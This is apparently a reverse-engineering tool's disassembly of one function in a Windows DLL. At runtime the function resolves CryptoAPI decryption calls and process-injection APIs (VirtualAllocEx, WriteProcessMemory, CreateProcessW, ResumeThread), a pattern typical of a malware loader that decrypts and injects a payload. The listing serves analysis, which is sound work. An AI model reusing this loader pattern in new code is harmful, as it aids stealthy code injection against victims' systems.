Function at 0x180001320
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x18001d828]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Advapi32.dll
mov qword [0x180022160], rax
call rax
lea rdx, str.CryptAcquireContextA
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptCreateHash
mov rcx, rbx
mov qword [0x180022180], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptDeriveKey
mov rcx, rbx
mov qword [0x180022170], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptDecrypt
mov rcx, rbx
mov qword [0x180022190], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptDestroyKey
mov rcx, rbx
mov qword [0x180022198], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptDestroyHash
mov rcx, rbx
mov qword [0x180022168], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptReleaseContext
mov rcx, rbx
mov qword [0x180022178], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptHashData
mov rcx, rbx
mov qword [0x180022158], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptImportKey
mov rcx, rbx
mov qword [0x180022188], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptEncrypt
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.memset
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.memcpy
mov rcx, rbx
mov qword [0x1800221a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov qword [0x1800221e8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAllocEx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.WriteProcessMemory
mov rcx, rbx
mov qword [0x1800221f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateProcessW
mov rcx, rbx
mov qword [0x180022200], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.ResumeThread
mov rcx, rbx
mov qword [0x1800221d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.ReadFile
mov rcx, rbx
mov qword [0x1800221c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800221f0], rax
lea rdx, str.VirtualAlloc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x18001d9c0]
mov rcx, rbx
mov qword [0x1800221b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualProtectEx
mov rcx, rbx
mov qword [0x1800221b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualQueryEx
mov rcx, rbx
mov qword [0x1800221e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.ReadProcessMemory
mov rcx, rbx
mov qword [0x1800221c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x1800221e8], 0
mov qword [0x1800221d0], rax
je 0x1800015e0
cmp qword [0x1800221a8], 0
je 0x1800015e0
cmp qword [0x1800221f8], 0
je 0x1800015e0
cmp qword [0x180022200], 0
je 0x1800015e0
cmp qword [0x1800221d8], 0
je 0x1800015e0
cmp qword [0x1800221c0], 0
je 0x1800015e0
cmp qword [0x1800221f0], 0
je 0x1800015e0
cmp qword [0x1800221b0], 0
je 0x1800015e0
test rax, rax
je 0x1800015e0
cmp qword [0x1800221b8], 0
je 0x1800015e0
cmp qword [0x1800221e0], 0
je 0x1800015e0
cmp qword [0x1800221c8], 0
je 0x1800015e0
mov eax, 1
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret